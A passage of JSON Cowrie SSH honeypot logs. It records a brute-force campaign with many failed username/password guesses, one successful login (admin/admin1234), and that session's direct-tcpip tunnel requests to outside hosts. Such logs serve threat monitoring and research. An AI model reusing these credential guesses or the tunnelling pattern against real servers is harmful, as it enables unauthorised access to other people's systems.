dsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:32.226757Z","src_ip":"91.92.40.36","session":"99b0ab7e9e7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"latrell","password":"latrell","message":"login attempt [latrell/latrell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:34.895109Z","src_ip":"91.92.40.36","session":"99b0ab7e9e7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:36.537608Z","src_ip":"91.92.40.36","session":"99b0ab7e9e7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daemon","password":"daemon123","message":"login attempt [daemon/daemon123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:36.606593Z","src_ip":"91.92.40.36","session":"a05acb328ce1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.8","message":"Connection lost after 11.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:39.076428Z","src_ip":"91.92.40.36","session":"a05acb328ce1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34618,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cca0ae43b26","protocol":"ssh","message":"New connection: 91.92.40.36:34618 (159.203.135.109:22) [session: 3cca0ae43b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:39.945107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:40.248615Z","src_ip":"91.92.40.36","session":"3cca0ae43b26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:40.251159Z","src_ip":"91.92.40.36","session":"3cca0ae43b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp2","password":"ftp2","message":"login attempt [ftp2/ftp2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:41.932010Z","src_ip":"91.92.40.36","session":"3cca0ae43b26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:43.533802Z","src_ip":"91.92.40.36","session":"3cca0ae43b26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61146,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7231ee57c48","protocol":"ssh","message":"New connection: 91.92.40.36:61146 (159.203.135.109:22) [session: f7231ee57c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:46.018269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:46.780470Z","src_ip":"91.92.40.36","session":"f7231ee57c48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:46.805860Z","src_ip":"91.92.40.36","session":"f7231ee57c48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd123","message":"login attempt [admin/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:50.336526Z","src_ip":"91.92.40.36","session":"f7231ee57c48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:52.370194Z","src_ip":"91.92.40.36","session":"f7231ee57c48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61188,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac03f8099e17","protocol":"ssh","message":"New connection: 91.92.40.36:61188 (159.203.135.109:22) [session: ac03f8099e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:54.952241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:55.492042Z","src_ip":"91.92.40.36","session":"ac03f8099e17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:55.495640Z","src_ip":"91.92.40.36","session":"ac03f8099e17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tracey","password":"tracey","message":"login attempt [tracey/tracey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:00.075476Z","src_ip":"91.92.40.36","session":"ac03f8099e17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:02.128540Z","src_ip":"91.92.40.36","session":"ac03f8099e17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16350,"dst_ip":"159.203.135.109","dst_port":22,"session":"02c2c05179cf","protocol":"ssh","message":"New connection: 91.92.40.36:16350 (159.203.135.109:22) [session: 02c2c05179cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:03.526842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:04.272222Z","src_ip":"91.92.40.36","session":"02c2c05179cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:05.069191Z","src_ip":"91.92.40.36","session":"02c2c05179cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38892,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd948ae43a2a","protocol":"ssh","message":"New connection: 91.92.40.36:38892 (159.203.135.109:22) [session: cd948ae43a2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:08.127878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:09.070580Z","src_ip":"91.92.40.36","session":"cd948ae43a2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:09.074817Z","src_ip":"91.92.40.36","session":"cd948ae43a2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"654321","message":"login attempt [mysql/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:12.612213Z","src_ip":"91.92.40.36","session":"02c2c05179cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"katarina","message":"login attempt [user/katarina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:12.747280Z","src_ip":"91.92.40.36","session":"cd948ae43a2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:14.515311Z","src_ip":"91.92.40.36","session":"cd948ae43a2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:15.424705Z","src_ip":"91.92.40.36","session":"02c2c05179cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39514,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe732500ca56","protocol":"ssh","message":"New connection: 91.92.40.36:39514 (159.203.135.109:22) [session: fe732500ca56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:16.130604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:16.912007Z","src_ip":"91.92.40.36","session":"fe732500ca56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:16.915364Z","src_ip":"91.92.40.36","session":"fe732500ca56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql12","message":"login attempt [mysql/mysql12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:21.746034Z","src_ip":"91.92.40.36","session":"fe732500ca56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":59382,"dst_ip":"10.17.0.5","dst_port":22,"session":"1678947e5367","protocol":"ssh","message":"New connection: 113.164.152.20:59382 (10.17.0.5:22) [session: 1678947e5367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:22.361165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:22.365991Z","src_ip":"113.164.152.20","session":"1678947e5367","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:22.658888Z","src_ip":"113.164.152.20","session":"1678947e5367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:23.468691Z","src_ip":"91.92.40.36","session":"fe732500ca56","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:23.938995Z","src_ip":"113.164.152.20","session":"1678947e5367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39570,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9e372a15b98","protocol":"ssh","message":"New connection: 91.92.40.36:39570 (159.203.135.109:22) [session: c9e372a15b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:24.275692Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:24.458571Z","session":"1678947e5367","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:24.550467Z","session":"1678947e5367","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:30:24.691360Z","src_ip":"91.92.40.36","session":"c9e372a15b98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac